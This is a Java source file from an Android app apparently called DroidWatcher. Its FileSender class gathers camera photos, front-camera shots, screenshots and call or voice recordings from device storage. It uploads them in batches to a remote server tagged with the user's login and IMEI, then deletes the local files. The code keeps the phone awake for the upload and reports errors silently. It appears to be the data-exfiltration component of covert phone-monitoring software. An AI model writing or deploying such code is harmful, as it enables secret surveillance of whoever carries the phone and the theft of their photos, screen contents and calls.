package com.droidwatcher;
import java.io.File;
import java.io.FilenameFilter;
import java.io.IOException;
import java.util.ArrayList;
import org.acra.ACRA;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.mime.HttpMultipartMode;
import org.apache.http.entity.mime.MultipartEntity;
import org.apache.http.entity.mime.content.FileBody;
import org.apache.http.entity.mime.content.StringBody;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.util.EntityUtils;
import org.json.JSONException;
import org.json.JSONObject;
import com.droidwatcher.lib.FileUtil;
import com.droidwatcher.lib.ServerConst;
import com.droidwatcher.modules.CameraModule;
import com.droidwatcher.modules.PhotoModule;
import com.droidwatcher.modules.RecorderModule;
import com.droidwatcher.modules.ScreenshotModule;
import com.droidwatcher.services.AppService;
import android.content.Context;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.wifi.WifiManager;
import android.net.wifi.WifiManager.WifiLock;
import android.os.PowerManager;
import android.os.PowerManager.WakeLock;
public class FileSender extends Thread {
private Context mContext;
private SettingsManager mSettings;
private FileType mType;
private WakeLock mWakeLock;
private WifiLock mWifiLock;
private static final long MAX_ATTACHMENT_SIZE = 10 * 1024 * 1024;
private static final long MAX_FILE_SIZE = 15 * 1024 * 1024;
private static final long MIN_FILE_SIZE = 1024;
public FileSender(Context context, FileType type){
this.mContext = context;
this.mSettings = new SettingsManager(context);
this.mType = type;
PowerManager pm = (PowerManager) context.getSystemService(Context.POWER_SERVICE);
mWakeLock = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, "DW_WAKELOCK");
WifiManager wifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
mWifiLock = wifiManager.createWifiLock(WifiManager.WIFI_MODE_FULL, "DW_WIFILOCK");
}
@Override
public synchronized void start() {
if (AppService.sThreadManager != null) {
AppService.sThreadManager.addTask(this);
}
else{
Thread.currentThread().setName("[FileSender ("+ mType.name() +")]");
super.start();
}
};
@Override
public void run(){
if (!networkAvailable()) {
return;
}
if (mType == FileType.RECORD && RecorderModule.isRecording) {
return;
}
try {
acquireWakeLock();
File[] files = getFiles();
if (files == null || files.length == 0) {
return;
}
switch (mType) {
case PHOTO:
case RECORD:
break;
case SCREENSHOT:
case FRONT_CAMERA_PHOTO:
if (files.length < 10) {
return;
}
break;
default:
break;
}
long currentLength = 0;
ArrayList<File> fileList = new ArrayList<File>(10);
long length = 0;
for (int i = 0; i < files.length; i++) {
length = files[i].length();
if (length < MIN_FILE_SIZE || length > MAX_FILE_SIZE) {
files[i].delete();
continue;
}
if (currentLength >= MAX_ATTACHMENT_SIZE || (fileList.size() > 0 && currentLength + length >= MAX_ATTACHMENT_SIZE) || fileList.size() >= 10) {
sendAndDelete(fileList);
fileList = new ArrayList<File>(10);
currentLength = 0;
}
fileList.add(files[i]);
currentLength += length;
}
if (fileList.size() > 0) {
sendAndDelete(fileList);
}
}
catch (Exception e){
ACRA.getErrorReporter().handleSilentException(e);
}
finally{
releaseWakeLock();
}
}
private void acquireWakeLock(){
try {
if (mWakeLock != null && !mWakeLock.isHeld()) {
mWakeLock.acquire();
}
if (mWifiLock != null && !mWifiLock.isHeld()) {
mWifiLock.acquire();
}
} catch (Exception e) {
Debug.exception(e);
//ACRA.getErrorReporter().handleSilentException(e);
}
}
private void releaseWakeLock(){
try {
if (mWakeLock != null && mWakeLock.isHeld()) {
mWakeLock.release();
}
if (mWifiLock != null && mWifiLock.isHeld()) {
mWifiLock.release();
}
} catch (Exception e) {
Debug.exception(e);
//ACRA.getErrorReporter().handleSilentException(e);
}
}
private void sendAndDelete(ArrayList<File> files){
if (sendFiles(files)) {
for (File file : files) {
if (Debug.DEBUG) {
Debug.i("File " + file.getName() + " deleted: " + file.delete());
}
else{
file.delete();
}
}
}
}
private Boolean sendFiles(ArrayList<File> files){
try {
HttpClient httpClient = new DefaultHttpClient();
HttpPost httpPost = new HttpPost(getServerAddress());
httpPost.addHeader("X-DW-LOGIN", mSettings.login());
httpPost.addHeader("X-DW-IMEI", mSettings.imei());
MultipartEntity multipartEntity = new MultipartEntity(HttpMultipartMode.BROWSER_COMPATIBLE);
multipartEntity.addPart("params", new StringBody(getParams()));
for (int i = 0; i < files.size(); i++) {
multipartEntity.addPart("file_" + i, new FileBody(files.get(i)));
}
httpPost.setEntity(multipartEntity);
HttpResponse response = httpClient.execute(httpPost);
if (response == null){
return false;
}
HttpEntity entity = response.getEntity();
if (entity == null) {
return false;
}
String data = EntityUtils.toString(entity, "UTF-8");
return data.equals(ServerConst.OK);
} catch(IOException e){
Debug.exception(e);
}
catch (Exception e) {
Debug.exception(e);
ACRA.getErrorReporter().handleSilentException(e);
}
return false;
}
private String getServerAddress(){
switch (mType) {
case PHOTO:
return ServerMessanger.SERVER_ADDRESS + "Photo";
case FRONT_CAMERA_PHOTO:
return ServerMessanger.SERVER_ADDRESS + "FrontCamera";
case RECORD:
return ServerMessanger.SERVER_ADDRESS + "Rec_new";
case SCREENSHOT:
return ServerMessanger.SERVER_ADDRESS + "Screen";
default:
return ServerMessanger.SERVER_ADDRESS;
}
}
private String getParams() throws JSONException{
JSONObject obj = new JSONObject()
.put("login", mSettings.login())
.put("imei", mSettings.imei());
return obj.toString();
}
private File[] getFiles(){
if (!FileUtil.isExternalStorageAvailable()) {
return null;
}
File external = mContext.getExternalFilesDir(null);
if (external == null) {
return null;
}
return new File(external.getAbsolutePath() + "/").listFiles(filter);
}
private Boolean networkAvailable(){
SettingsManager settings = new SettingsManager(mContext);
ConnectivityManager manager = (ConnectivityManager)mContext.getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo info = manager.getActiveNetworkInfo();
if (info == null){
return false;
}
if ((settings.filesOnlyWiFi() || settings.onlyWiFi()) && info.getType() != ConnectivityManager.TYPE_WIFI) {
return false;
}
return info.isConnectedOrConnecting();
}
private FilenameFilter filter = new FilenameFilter() {
@Override
public boolean accept(File dir, String filename) {
switch (mType) {
case PHOTO:
return filename.endsWith(".jpg") && filename.startsWith(PhotoModule.PREFIX);
case FRONT_CAMERA_PHOTO:
return filename.endsWith(".jpg") && filename.startsWith(CameraModule.PREFIX);
case RECORD:
//return filename.endsWith(".3gp") || filename.endsWith(".amr");
return filename.startsWith(RecorderModule.CALL_PREFIX) || filename.startsWith(RecorderModule.RECORD_PREFIX);
case SCREENSHOT:
return filename.endsWith(".jpg") && filename.startsWith(ScreenshotModule.PREFIX);
}
return false;
}
};
public enum FileType{
PHOTO, SCREENSHOT, RECORD, FRONT_CAMERA_PHOTO;
}
}